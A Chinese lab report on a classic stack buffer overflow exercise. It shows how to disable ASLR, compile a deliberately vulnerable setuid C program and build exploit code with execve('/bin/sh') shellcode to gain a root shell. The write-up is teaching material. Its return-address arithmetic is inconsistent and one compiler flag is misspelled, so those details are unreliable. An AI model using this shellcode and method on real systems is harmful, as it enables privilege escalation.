溢出区溢出漏洞实验报告
实验准备:
输入命令安装一些用于编译32位C程序的软件包
$ sudo apt-get update
$ sudo apt-get install -y lib32z1 libc6-dev-i386
$ sudo apt-get install -y lib32readline-gplv2-dev
初始设置
-
关闭地址空间随机化功能。(此功能用于随机堆和栈的初始地址,使猜测准确的内存地址变得困难)
sudo sysctl -w kernel.randomize_va_space=0
-
为了进一步防范缓冲区溢出攻击及其它利用 shell 程序的攻击,许多shell程序在被调用时自动放弃它们的特权,不能在shell中保持root权限,这个防护措施在/bin/bash中实现。设置zsh程序
sudo su cd /bin ln -s zsh sh exit
-
输入“linux32”,进入32位linux环境,输入“/bin/bash”使用bash
漏洞程序
-
在
/tmp
目录下新建一个stack.c
文件: -
输入stack.c文件内容:
#include <stdlib.h> #include <stdio.h> #include <string.h> int bof(char *str) { char buffer[12]; strcpy(buffer, str); return 1; } int main(int argc, char **argv) { char str[517]; FILE *badfile; badfile = fopen("badfile", "r"); fread(str, sizeof(char), 517, badfile);//读取一个名为“badfile”的文件。 bof(str);//将文件内容装入到buffer中 printf("Returned Properly\n"); return 1; }
-
编译该程序:
$ sudo su
$ gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c
$ chmod u+s stack
$ exit
-
GCC编译器有一种栈保护机制来阻止缓冲区溢出,所以我们在编译代码时需要用
-fno-stack-proteck
关闭用来阻止缓存区溢出的栈保护机制,-z execstack
用于允许执行栈
-g
参数是为了使编译后得到的可执行文档能用gdb调试
攻击程序
-
在
/tmp
目录下新建一个exploit.c文件#include <stdlib.h> #include <stdio.h> #include <string.h> char shellcode[] = "\x31\xc0" //xorl %eax,%eax "\x50" //pushl %eax "\x68""//sh" //pushl $0x68732f2f "\x68""/bin" //pushl $0x6e69622f "\x89\xe3" //movl %esp,%ebx "\x50" //pushl %eax "\x53" //pushl %ebx "\x89\xe1" //movl %esp,%ecx "\x99" //cdq "\xb0\x0b" //movb $0x0b,%al "\xcd\x80" //int $0x80 ; void main(int argc, char **argv) { char buffer[517]; FILE *badfile; memset(&buffer, 0x90, 517); /* You need to fill the buffer with appropriate contents here */ strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xc4\xd6\xff\xff"); //在之后的步骤里得知地址,在这里直接填入了 strcpy(buffer + 100, shellcode); //将shellcode拷贝至buffer,偏移量设为了 100 badfile = fopen("./badfile", "w"); fwrite(buffer, 517, 1, badfile); fclose(badfile); }
-
如何得到覆盖地址
$gdb stack $disass main
根据语句 strcpy(buffer + 100,shellcode); 我们计算 shellcode 的地址为 0xffffd060(十六进制) + 0x64(100的十六进制) = 0xffffd4c4(十六进制)
- 最后编译
exploit.c
程序
$gcc -m32 -o exploit exploit.c
攻击结果
作业
-
输入
$ sudo sysctl -w kernel.randomize_va_space=2
打开系统的地址空间随机化机制,重复用 exploit 程序攻击 stack 程序,观察能否攻击成功,能否获得root权限。 -
将 /bin/sh 重新指向 /bin/bash(或/bin/dash),观察能否攻击成功,能否获得 root 权限。